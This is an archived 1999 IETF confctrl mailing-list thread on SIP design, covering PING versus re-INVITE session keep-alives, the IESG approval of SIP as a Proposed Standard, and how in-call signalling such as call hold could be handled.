Subject: Re: Proxy Server Inconsistencies
To: lars.berggren@intertex.se (Lars Berggren)
Date: Mon, 1 Feb 1999 10:06:13 -0600 (CST)
Cc: eussean@exu.ericsson.se, confctrl@ISI.EDU
In-Reply-To: <36B5761C.1557DFF2@intertex.se> from "Lars Berggren" at Feb 1, 99 10:38:36 am
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren writes:
> Sean Olson wrote:
>>I agree that we should remove as much complexity from the proxy as possible.
>>The INVITE approach, however, requires as much complexity: timers, caching,
>>and validation. The primary difference I see between the two approaches is that
>>with the PING method, we can simplify the client. Not much we can do for
>>the stateful proxy. This isn't a simple problem. A greater problem with the
>>PING approach is that it can require double the number of messages unless
>>a "Frequency:" header can be associated with the PING request.
>
>Well, if the complexity of the proxy is independent of the keep-alive
>mechanism used, we could at least choose the one which requires the
>minimum of messaging in order to reduce the load for the proxy.
>I understand that it is desirable to simplify the client, however I
>think reducing the load for the proxy is a greater benefit.

I maintain that a PING approach takes fewer messages, and less overall
handling, than re-INVITEs. I'll demonstrate.

   link A    link B
C1---------P--------C2

Sequence of messages per refresh period for re-INVITE:

1) INVITE on link A
2) INVITE on link B
3) 200 on link B
4) 200 on link A
5) ACK on link A
6) ACK on link B

(Under certain circumstances, steps 5 and 6 can be collapsed
into one step; this still leaves us with five messages.)

Sequence of messages per refresh period for PING:

1) PING on link A
2) 200 on link A
3) PING on link B
4) 200 on link B

Some have proposed that the ACKs in the re-INVITE solution are
not strictly necessary. As I've mentioned before, this confuses
the issue of INVITE final response handling to include some very
confusing rules. For example: "Don't send an ACK when you receive 
a final response for an INVITE request involving a currently 
ongoing session, but ONLY if none of the session parameters have 
changed."

In any situation, removal of the ACK from the re-INVITE solution
merely brings it down to four messages total: the *same* number of 
messages as the PING solution.

Given that the message overhead is the same or worse for a
re-invite; that re-invites without the ACK impose additional
complexity on all SIP nodes; that PING is less complex to
implement in the client; and that both solutions are about
as much as a load in the proxy, it seems like PING may be a
better solution.

/a

From confctrl-owner  Tue Feb  2 11:30:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA24829
	for confctrl-outgoing; Tue, 2 Feb 1999 11:30:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24820
	for <confctrl@zephyr.isi.edu>; Tue, 2 Feb 1999 11:30:52 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03787;
	Tue, 2 Feb 1999 11:30:50 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id OAA01101;
	Tue, 2 Feb 1999 14:30:17 -0500 (EST)
Message-Id: <199902021930.OAA01101@ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>
Cc: Internet Architecture Board <iab@ISI.EDU>
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
Subject: Protocol Action: SIP: Session Initiation Protocol to Proposed
	 Standard
Date: Tue, 02 Feb 1999 14:30:17 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft 'SIP: Session Initiation
Protocol' <draft-ietf-mmusic-sip-12.txt> as a Proposed Standard.  This
document is the product of the Multiparty Multimedia Session Control
Working Group. The IESG contact persons are Scott Bradner and Vern
Paxson.


Technical Summary
 
 SIP is a control protocol for creating, modifying and terminating sessions
 with one or more participants. These sessions include Internet multimedia
 conferences, Internet telephone calls and multimedia distribution. Members
 in a session can communicate via multicast or via a mesh of unicast
 relations, or a combination of these.  SIP supports session descriptions
 that allow participants to agree on a set of compatible media types. It
 also supports user mobility by proxying and redirecting requests to the
 user's current location.  SIP is not tied to any particular conference
 control protocol.  There is widespread interest in the protocol, especially
 for telephony-related applications.


Working Group Summary

 The current SIP protocol spec was the result of a merger of two
 alternative proposals presented to the WG in early 1996.  Since then, the
 protocol specification has undergone many refinements, including the
 addition of comprehensive security considerations.  Many small problems
 were found with the specification during this process and corrected, but
 nothing major was found.  In general working group consensus was good.
 Feature creep has been a problem during SIP development.  To reduce this
 problem somewhat, SIP call control functionality (which is not a core SIP
 functionality) was removed from the SIP spec and moved to a separate
 specification.

 The relationship between SIP and H.323 was a point of discussion during
 the development of SIP.  There is some overlap, but the two protocols come
 from different problem domains, and do not attempt to tackle precisely the
 same set of problems.

 The final specification is the result of much WG discussion, and
 represents near-unanimous consensus on the details and rough consensus on
 the proposal as a whole.  All of the issues raised during last call have
 been addressed in the revised specification.  The only significant last
 call change was making the SIP UDP retransmission timers back off
 exponentially to address congestion concerns.

Protocol Quality

 Vern Paxson reviewed the spec for the IESG.  There are a number of
 implementations.


Note to RFC Editor:

The IESG requests the following be added as an IESG Note:

	The IESG intends to charter, in the near future, one or more working
	groups to produce standards for "name lookup", where such names would
    	include electronic mail addresses and telephone numbers, and the result
	of such a lookup would be a list of attributes and characteristics
	of the user or terminal associated with the name.  Groups which are
	in need of a "name lookup" protocol should follow the development
	of these new working groups rather than using SIP for this function.
	In addition it is anticipated that SIP will migrate towards using
	such protocols, and SIP implementors are advised to monitor
	these efforts.

From confctrl-owner  Wed Feb  3 00:25:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA25576
	for confctrl-outgoing; Wed, 3 Feb 1999 00:25:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA25571
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 00:25:49 -0800 (PST)
Received: from kkucc.konkuk.ac.kr (kkucc.konkuk.ac.kr [202.30.38.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06247
	for <confctrl@isi.edu>; Wed, 3 Feb 1999 00:25:42 -0800 (PST)
Received: from kkucc.konkuk.ac.kr (assist1.konkuk.ac.kr [203.252.132.70])
	by kkucc.konkuk.ac.kr (8.9.2/8.9.2) with ESMTP id RAA12059
	for <confctrl@isi.edu>; Wed, 3 Feb 1999 17:13:44 +0900 (KST)
Message-ID: <36B8073F.7EBFBCCC@kkucc.konkuk.ac.kr>
Date: Wed, 03 Feb 1999 17:22:24 +0900
From: bredkim <bredkim@kkucc.konkuk.ac.kr>
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: hello
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




From confctrl-owner  Wed Feb  3 01:01:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA26762
	for confctrl-outgoing; Wed, 3 Feb 1999 01:01:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA26757
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 01:01:50 -0800 (PST)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA07180
	for <confctrl@ISI.EDU>; Wed, 3 Feb 1999 00:57:57 -0800 (PST)
Received: (qmail 17382 invoked from network); 3 Feb 1999 09:57:55 +0100
Received: from sdu136-76.ppp.algonet.se (HELO pyramid) (195.163.76.136)
  by angel.algonet.se with SMTP; 3 Feb 1999 09:57:55 +0100
Received: from 192.168.0.42 by pyramid ([192.168.0.100] running VPOP3) with SMTP; Wed, 3 Feb 1999 09:51:45 +0100
Message-ID: <36B81158.5B2161E3@intertex.se>
Date: Wed, 03 Feb 1999 10:05:28 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i586)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: eussean@exu.ericsson.se, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199902011606.KAA15081@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0a - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> Lars Berggren writes:
> > Sean Olson wrote:
> >>I agree that we should remove as much complexity from the proxy as possible.
> >>The INVITE approach, however, requires as much complexity: timers, caching,
> >>and validation. The primary difference I see between the two approaches is that
> >>with the PING method, we can simplify the client. Not much we can do for
> >>the stateful proxy. This isn't a simple problem. A greater problem with the
> >>PING approach is that it can require double the number of messages unless
> >>a "Frequency:" header can be associated with the PING request.
> >
> >Well, if the complexity of the proxy is independent of the keep-alive
> >mechanism used, we could at least choose the one which requires the
> >minimum of messaging in order to reduce the load for the proxy.
> >I understand that it is desirable to simplify the client, however I
> >think reducing the load for the proxy is a greater benefit.
> 
> I maintain that a PING approach takes fewer messages, and less overall
> handling, than re-INVITEs. I'll demonstrate.
> 
>    link A    link B
> C1---------P--------C2
> 
> Sequence of messages per refresh period for re-INVITE:
> 
> 1) INVITE on link A
> 2) INVITE on link B
> 3) 200 on link B
> 4) 200 on link A
> 5) ACK on link A
> 6) ACK on link B
> 
> (Under certain circumstances, steps 5 and 6 can be collapsed
> into one step; this still leaves us with five messages.)
> 
> Sequence of messages per refresh period for PING:
> 
> 1) PING on link A
> 2) 200 on link A
> 3) PING on link B
> 4) 200 on link B
> 
> Some have proposed that the ACKs in the re-INVITE solution are
> not strictly necessary. As I've mentioned before, this confuses
> the issue of INVITE final response handling to include some very
> confusing rules. For example: "Don't send an ACK when you receive
> a final response for an INVITE request involving a currently
> ongoing session, but ONLY if none of the session parameters have
> changed."
> 
> In any situation, removal of the ACK from the re-INVITE solution
> merely brings it down to four messages total: the *same* number of
> messages as the PING solution.
> 
> Given that the message overhead is the same or worse for a
> re-invite; that re-invites without the ACK impose additional
> complexity on all SIP nodes; that PING is less complex to
> implement in the client; and that both solutions are about
> as much as a load in the proxy, it seems like PING may be a
> better solution.
> 

I agree that the PING method seems to add as much load in the
_stateful_proxy_ as the re-INVITE. But, I believe it's a option for a
proxy to be stateless for certain SIP transactions, e.g. those received
via UDP. I think being stateless for a SIP transaction makes the proxy
more efficient and reduces the load on it since it does not need to
remember anything about the transaction ( retransmissions, TCP
connections, timeouts... ).

Now, consider a proxy that keeps a call record for the duration of the
session and thus wants to know when it ends. To be efficient, it acts
like a stateless proxy per SIP transaction if possible. When the proxy
receives a SIP message it can act stateless on it just updates its call
record if the session has changed and then forwards it forgetting
everything about the SIP transaction the message is part of.

A re-INVITE SIP transaction will not force the proxy to become stateful,
but the PING transaction will since the proxy itself initiates it.

Hence, I think the PING method adds more load in a proxy that tries to
be stateless per SIP transaction.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Wed Feb  3 07:08:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA09249
	for confctrl-outgoing; Wed, 3 Feb 1999 07:08:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09244
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 07:08:56 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21006
	for <confctrl@ISI.EDU>; Wed, 3 Feb 1999 07:08:55 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id JAA14307;
	Wed, 3 Feb 1999 09:10:07 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id JAA14829;
	Wed, 3 Feb 1999 09:08:23 -0600 (CST)
Received: from b04a42.exu.ericsson.se (b04a42 [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA23698; Wed, 3 Feb 1999 09:08:21 -0600 (CST)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (eussean@localhost) by b04a42.exu.ericsson.se (8.8.2/8.6.12) id JAA08106; Wed, 3 Feb 1999 09:07:50 -0600 (CST)
Date: Wed, 3 Feb 1999 09:07:50 -0600 (CST)
Message-Id: <199902031507.JAA08106@b04a42.exu.ericsson.se>
To: Adam.Roach@Ericsson.com, lars.berggren@intertex.se
Subject: Re: Proxy Server Inconsistencies
Cc: eussean@exu.ericsson.se, confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> I agree that the PING method seems to add as much load in the
> _stateful_proxy_ as the re-INVITE. But, I believe it's a option for a
> proxy to be stateless for certain SIP transactions, e.g. those received
> via UDP. I think being stateless for a SIP transaction makes the proxy
> more efficient and reduces the load on it since it does not need to
> remember anything about the transaction ( retransmissions, TCP
> connections, timeouts... ).
> 
> Now, consider a proxy that keeps a call record for the duration of the
> session and thus wants to know when it ends. To be efficient, it acts
> like a stateless proxy per SIP transaction if possible. When the proxy
> receives a SIP message it can act stateless on it just updates its call
> record if the session has changed and then forwards it forgetting
> everything about the SIP transaction the message is part of.
> 
> A re-INVITE SIP transaction will not force the proxy to become stateful,
> but the PING transaction will since the proxy itself initiates it.
> 

If a proxy is stateless, it NEVER has to initiate a PING transaction. It
handles the PING transaction just like any other transaction without adding
any additional state/timers/etc. That is the nice thing about introducing a
PING method, only those nodes that need to use it have to deal with the added
complexity, to all other nodes its just another method to be passed along.
(of course the UAS must handle the PING in all cases)


> Hence, I think the PING method adds more load in a proxy that tries to
> be stateless per SIP transaction.
> 
The issue of course is how long does the proxy keep that state/call record
around. To figure that out, the proxy examines every message associated 
with that call and update the call record according to the current state of the
call (necessary for error handling at least). 

Plus the proxy has to maintain the same T1-T4 timers that
every other node does. I don't see then, how a proxy that maintains a call
record, can be "stateless per SIP transaction"? 


> /Lars
> 
> -- 
> Lars Berggren       <lars.berggren@intertex.se>
> Intertex Data AB    tel: +46-8-6282828
> Sundbyberg, Sweden  fax: +46-8-6286414
> 

Sean Olson

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154 

From confctrl-owner  Wed Feb  3 13:16:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA23525
	for confctrl-outgoing; Wed, 3 Feb 1999 13:16:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23517
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 13:16:13 -0800 (PST)
Received: from smtprich.nortel.com (smtprich.nortel.com [192.135.215.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23674
	for <confctrl@ISI.EDU>; Wed, 3 Feb 1999 13:16:11 -0800 (PST)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) 
          by smtprich.nortel.com; Wed, 3 Feb 1999 15:14:58 -0600
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.0.1460.8) 
          id <1HHY99V2>; Wed, 3 Feb 1999 16:14:58 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11B5D7AC@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: confctrl@ISI.EDU
Subject: Within-Call Signalling and SIP
Date: Wed, 3 Feb 1999 16:14:52 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.0.1460.8)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In the telephony world, a lot of signalling events occur autonomously,
rather than as part of an established sequence.  As a specific example, if
the called party puts the caller on hold and wants that to mean temporary
freeing of network resources between them, the called party needs the
caller's help.  In the telephony world, messages such as Q.931's FACILITY
message can be used to carry the necessary signalling.

I've read draft-ietf-mmusic-sip-cc-00, which doesn't really show any details
of how network resources would be freed up (in the paragraph on Consultation
calling).  Is the following a valid solution?
  -- Caller A establishes a call to B
  -- B wants to put A on hold
     -- B sends an INVITE to A with the same Call-Id as the one with 
        which the call was originally established
     -- B's INVITE specifies no media flow
  -- to retrieve the call B sends another INVITE restoring the original
media flows.

Alternatively, should we be thinking about adding a new in-call request to
SIP's repertoire? 

Tom Taylor
E-mail: taylor@nortelnetworks.com  (internally Tom-PT Taylor)
Tel.: +1 613 765 4167     (internally 395-4167)
FAX: +1 613 763 7236     (internally 393-7236)


From confctrl-owner  Wed Feb  3 14:58:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28272
	for confctrl-outgoing; Wed, 3 Feb 1999 14:58:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28266
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 14:58:24 -0800 (PST)
Received: from thumper.research.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06527
	for <confctrl@isi.edu>; Wed, 3 Feb 1999 14:58:22 -0800 (PST)
Received: from seawind.research.bellcore.com (seawind [192.4.18.101])
	by thumper.research.bellcore.com (8.9.1a/8.9.1) with ESMTP id RAA27094;
	Wed, 3 Feb 1999 17:57:50 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.research.bellcore.com (8.8.8/8.8.8) id RAA10659;
	Wed, 3 Feb 1999 17:57:50 -0500 (EST)
Date: Wed, 3 Feb 1999 17:57:50 -0500 (EST)
From: Christian Huitema <huitema@research.bellcore.com>
Message-Id: <990203175749.ZM10657@seawind.bellcore.com>
In-Reply-To: "Tom-PT Taylor" <taylor@nortelnetworks.com>
        "Within-Call Signalling and SIP" (Feb  3,  4:14pm)
References: <C51ED84B6F47D211917A0000F8BCBD11B5D7AC@zcard00g.ca.nortel.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>, confctrl@ISI.EDU
Subject: Re: Within-Call Signalling and SIP
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tom,

I concur.  We could in fact use a generic "in call" command (and response)
for facilities, and also for information requests.  This is even more
needed for inetrworking with ISUP than for Q.931, if only to carry
signalling.  Eric Zimmerer of Level3 proposed adding such a message
in his draft.

-- 
Christian Huitema

From confctrl-owner  Wed Feb  3 17:02:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA04042
	for confctrl-outgoing; Wed, 3 Feb 1999 17:02:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA04037
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 17:02:45 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA21005
	for <confctrl@ISI.EDU>; Wed, 3 Feb 1999 17:02:44 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id BAA30644; Thu, 4 Feb 1999 01:00:41 GMT
Received: from dwillispc3 ([166.35.227.103]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990204010105.TBM23797@dwillispc3>;
          Wed, 3 Feb 1999 19:01:05 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Christian Huitema" <huitema@research.bellcore.com>,
        "Tom-PT Taylor" <taylor@nortelnetworks.com>, <confctrl@ISI.EDU>
Subject: RE: Within-Call Signalling and SIP
Date: Wed, 3 Feb 1999 18:58:15 -0600
Message-ID: <001701be4fd9$721db680$67e323a6@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <990203175749.ZM10657@seawind.bellcore.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Why do we keep reinventing new specialized methods like PING and INCALL
and PRESENCE and so on . . . all these functions can be handled by
simple, reuasable message primitives. It's just a matter of defining the
message classes, defining message bodies, and describing the
subscription policy (explicit and implicit) mechanism. . . and it makes
the core parsers a heck of a lot simpler!

The proposed subscribe and notify methods, given classful message
contents, could be used to carry in-call signalling of all sorts --
DTMF, ISUP Facility, etc. They could also be used to support presence,
messaging, state change detection, etc. Very powerful idea.

Let's look at a couple of potential cases:

1) In-call ISUP signalling between UAS/UAC gateways: Each gateway
SUBSCRIBES to class "incall" from other gateway. In-call messages are
sent as NOTIFIES with body of application/isup or what-have-you.

2) Instant messaging: INVITE is used to establish conference with id
<CALL-ID>. Each user agent SUBSCRIBES to class "message/<CALL-ID>" on
other participating user agents. Each message is transmitted as NOTIFY
class "mesage/<CALL-ID>" with text body.

3) End-node call state (PING): Proxy sends SUBSCRIBE class
"state/<CALL-ID>" (equivalent to PING request), agent replies (PING
response) NOTIFY class "state/<CALL-ID>" with state of call <CALL-ID> in
body.

4) End-node reachability state (time mark): Proxy sends SUBSCRIBE class
"mark/<PERIOD>" to receive a NOTIFY class "mark" each <PERIOD> seconds.

5) In-call DTMF signalling, useful for signalling-only (non-media) value
added service processors, such as supplementary account code loggers:
Service node SUBSCRIBES to class "dtmf/<CALL-ID>" or implicit subscribe
is assumed. User agent (gateway, etc). sends NOTIFY class
"DTMF/<CALL-ID>.

and so on . . .

The alternative is to change the spec and add a method every time we
need a new message class, argue about reliability for the method, etc.

--
Dean Willis

> -----Original Message-----
> From: owner-confctrl@ISI.EDU
> [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Christian Huitema
> Sent: Wednesday, February 03, 1999 4:58 PM
> To: Tom-PT Taylor; confctrl@ISI.EDU
> Subject: Re: Within-Call Signalling and SIP
>
>
> Tom,
>
> I concur.  We could in fact use a generic "in call" command
> (and response)
> for facilities, and also for information requests.  This is even more
> needed for inetrworking with ISUP than for Q.931, if only to carry
> signalling.  Eric Zimmerer of Level3 proposed adding such a message
> in his draft.
>
> --
> Christian Huitema
>


From confctrl-owner  Wed Feb  3 17:32:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA05417
	for confctrl-outgoing; Wed, 3 Feb 1999 17:32:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA05412
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 17:32:00 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA23560
	for <confctrl@ISI.EDU>; Wed, 3 Feb 1999 17:31:54 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA17928;
	Wed, 3 Feb 1999 20:31:34 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA00824;
	Wed, 3 Feb 1999 20:31:33 -0500 (EST)
Message-ID: <36B8F875.4B3DDD99@cs.columbia.edu>
Date: Wed, 03 Feb 1999 20:31:33 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@research.bellcore.com>
CC: Tom-PT Taylor <taylor@nortelnetworks.com>, confctrl@ISI.EDU
Subject: Re: Within-Call Signalling and SIP
References: <C51ED84B6F47D211917A0000F8BCBD11B5D7AC@zcard00g.ca.nortel.com> <990203175749.ZM10657@seawind.bellcore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> Tom,
> 
> I concur.  We could in fact use a generic "in call" command (and response)
> for facilities, and also for information requests.  This is even more
> needed for inetrworking with ISUP than for Q.931, if only to carry
> signalling.  Eric Zimmerer of Level3 proposed adding such a message
> in his draft.

There is probably a need for a few "in-call" methods and no need to
overload a single request with a bunch of functions (as in FACILITY).
Proxies and redirect servers generally can just handle new requests as
before, so there is no penalty in creating specific requests. Things one
might want:

- status request (as in the Level3 example)
- transparent data transport (for signaling)
- possibly liveness tests (being discussed)
- determine capabilities of other side (have that: OPTIONS)

We already have one request to do in-call changes, namely (re)INVITE.
This can indeed serve the purpose of putting a call on hold, as spelled
out in SDP section of the SIP spec. Thus, changes for a call itself
don't need new requests.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Feb  3 20:50:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA13541
	for confctrl-outgoing; Wed, 3 Feb 1999 20:50:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA13536
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 20:50:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA07922
	for <confctrl@isi.edu>; Wed, 3 Feb 1999 20:50:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Feb  3 23:48:22 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.249.247])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA24431;
	Wed, 3 Feb 1999 23:48:20 -0500 (EST)
Message-ID: <36B92669.7A8CCF2B@dnrc.bell-labs.com>
Date: Wed, 03 Feb 1999 23:47:37 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: confctrl@ISI.EDU
Subject: Re: Within-Call Signalling and SIP
References: <C51ED84B6F47D211917A0000F8BCBD11B5D7AC@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tom-PT Taylor wrote:
> 
> In the telephony world, a lot of signalling events occur autonomously,
> rather than as part of an established sequence.  As a specific example, if
> the called party puts the caller on hold and wants that to mean temporary
> freeing of network resources between them, the called party needs the
> caller's help.  In the telephony world, messages such as Q.931's FACILITY
> message can be used to carry the necessary signalling.

I think the question of "how to handle mid-call events" depends quite a
lot on the particular event. I'm not sure I would rush into a generic do
it all method for this.

> 
> I've read draft-ietf-mmusic-sip-cc-00, which doesn't really show any details
> of how network resources would be freed up (in the paragraph on Consultation
> calling).  Is the following a valid solution?
>   -- Caller A establishes a call to B
>   -- B wants to put A on hold
>      -- B sends an INVITE to A with the same Call-Id as the one with
>         which the call was originally established
>      -- B's INVITE specifies no media flow
>   -- to retrieve the call B sends another INVITE restoring the original
> media flows.

The sequence is correct. There is no relation to freeing of network
resources here, though, since SIP does not control them. In the case of
rsvp, for example, after A responds to B's re-INVITE, B can tear down
the reservation to A, and re-establish before (or after) re-inviting A
to un-hold. With diffserv I don't really see a need for any explicit
"freeing" of net resources, since this is a packet network after all,
and not sending voice frees the resources by definition.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb  3 21:04:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA14008
	for confctrl-outgoing; Wed, 3 Feb 1999 21:04:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14003
